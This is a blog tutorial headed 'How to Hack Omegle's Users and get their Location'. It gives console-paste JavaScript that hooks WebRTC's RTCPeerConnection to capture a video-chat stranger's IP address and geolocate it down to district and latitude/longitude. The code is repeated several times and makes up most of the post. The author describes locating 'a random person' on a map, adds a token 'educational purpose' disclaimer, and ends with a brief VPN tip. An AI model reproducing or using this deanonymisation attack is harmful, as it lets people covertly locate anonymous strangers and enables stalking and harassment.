December 11, 2022
How to Hack Omegle’s Users and get their Location
What is Omegle?

By Piyush Yadav
2 min read
What is Omegle?
Omegle is one of the more popular video chat sites available online. It pairs random users identified as 'You' and 'Stranger' to chat online via 'Text', 'Video' or both.
A user can also choose to add their interests, and Omegle will try to pair a user with someone who has similar interests. If not, you could meet anyone. Chats are anonymous unless the user states who they are. It's free and no account sign up is required.
There are many imitation apps such as 'Chat for Omegle', 'Free Omegle Chat' and 'Omeglers', but there is no longer an official Omegle app. All sites and apps appear to share the same features and purpose, but only some are linked to Omegle.
Let's Start our stuff
Prerequisites
- IDE
- Javascript Concepts like Promises, APIs
- IP geolocation API Key
Starting Our Coding
RTCPeerConnection
The RTCPeerConnection interface represents a WebRTC connection between the local computer and a remote peer. It provides methods to connect to a remote peer, maintain and monitor the connection, and close the connection once it's no longer needed.
You can learn more about it on MDN docs, my favorite
Establish our peer connection
window.oRTCPeerConnection = window.oRTCPeerConnection || window.RTCPeerConnection;
window.RTCPeerConnection = function (...args) {
const pc = new window.oRTCPeerConnection(...args)
pc.oaddIceCandidate = pc.addIceCandidate;
pc.addIceCandidate = function (iceCandidate, ...rest) {
const fields = iceCandidate.candidate.split(" ");
const ip = fields[4];
if (fields[7] === "srflx") {
getLocation(ip)
}
return pc.oaddIceCandidate(iceCandidate, ...rest);
}
return pc;
}window.oRTCPeerConnection = window.oRTCPeerConnection || window.RTCPeerConnection;
window.RTCPeerConnection = function (...args) {
const pc = new window.oRTCPeerConnection(...args)
pc.oaddIceCandidate = pc.addIceCandidate;
pc.addIceCandidate = function (iceCandidate, ...rest) {
const fields = iceCandidate.candidate.split(" ");
const ip = fields[4];
if (fields[7] === "srflx") {
getLocation(ip)
}
return pc.oaddIceCandidate(iceCandidate, ...rest);
}
return pc;
}Explanation of Key Concepts in Code
The RTCIceCandidate interface's read-only type specifies the type of candidate the object represents.
srflx The candidate is a server reflexive candidate; the ip indicates an intermediary address assigned by the STUN server to represent the candidate's peer anonymously.
Creating a Function that will take promises
const getLocation = async (ip) => {
let url = `https://api.ipgeolocation.io/ipgeo?apiKey=${apiKey}&ip=${ip}`
await fetch(url).then((response) =>
response.json().then((json) => {
const output = `
Country: ${json.country_name}
State: ${json.state_prov}
City: ${json.city}
District: ${json.district}
Lat / Long: (${json.latitude}, ${json.longitude})
`
console.log(output)
}))const getLocation = async (ip) => {
let url = `https://api.ipgeolocation.io/ipgeo?apiKey=${apiKey}&ip=${ip}`
await fetch(url).then((response) =>
response.json().then((json) => {
const output = `
Country: ${json.country_name}
State: ${json.state_prov}
City: ${json.city}
District: ${json.district}
Lat / Long: (${json.latitude}, ${json.longitude})
`
console.log(output)
}))You can generate your API key from IP geolocation Site or You can use mine which is given below
Full Code
const apiKey = "fhjefhjsfhjfhsejf";
window.oRTCPeerConnection = window.oRTCPeerConnection || window.RTCPeerConnection;
window.RTCPeerConnection = function (...args) {
const pc = new window.oRTCPeerConnection(...args)
pc.oaddIceCandidate = pc.addIceCandidate;
pc.addIceCandidate = function (iceCandidate, ...rest) {
const fields = iceCandidate.candidate.split(" ");
const ip = fields[4];
if (fields[7] === "srflx") {
getLocation(ip)
}
return pc.oaddIceCandidate(iceCandidate, ...rest);
}
return pc;
}
const getLocation = async (ip) => {
let url = `https://api.ipgeolocation.io/ipgeo?apiKey=${apiKey}&ip=${ip}`
await fetch(url).then((response) =>
response.json().then((json) => {
const output = `
Country: ${json.country_name}
State: ${json.state_prov}
City: ${json.city}
District: ${json.district}
Lat / Long: (${json.latitude}, ${json.longitude})
`
console.log(output)
}))
}const apiKey = "fhjefhjsfhjfhsejf";
window.oRTCPeerConnection = window.oRTCPeerConnection || window.RTCPeerConnection;
window.RTCPeerConnection = function (...args) {
const pc = new window.oRTCPeerConnection(...args)
pc.oaddIceCandidate = pc.addIceCandidate;
pc.addIceCandidate = function (iceCandidate, ...rest) {
const fields = iceCandidate.candidate.split(" ");
const ip = fields[4];
if (fields[7] === "srflx") {
getLocation(ip)
}
return pc.oaddIceCandidate(iceCandidate, ...rest);
}
return pc;
}
const getLocation = async (ip) => {
let url = `https://api.ipgeolocation.io/ipgeo?apiKey=${apiKey}&ip=${ip}`
await fetch(url).then((response) =>
response.json().then((json) => {
const output = `
Country: ${json.country_name}
State: ${json.state_prov}
City: ${json.city}
District: ${json.district}
Lat / Long: (${json.latitude}, ${json.longitude})
`
console.log(output)
}))
}Paste the above code in the Console
- Open the Omegle Site and see the magic
After clicking enter on the console. Start Video Calling and you will see the details like location, city, district, latitude, and longitude
Example: How I tried it on a random person
I got Latitude and longitude of her and After copying and pasting her latitude and longitude in Google Maps, I got her location
This Post was for only educational Purpose and I am not responsible for anyone's unethicals Stuffs
FAQ
Can we get Ip address?
Yes, you can
How can I protect myself from this kind of stuff
You can use VPN to protect yourself from this kind of stuff.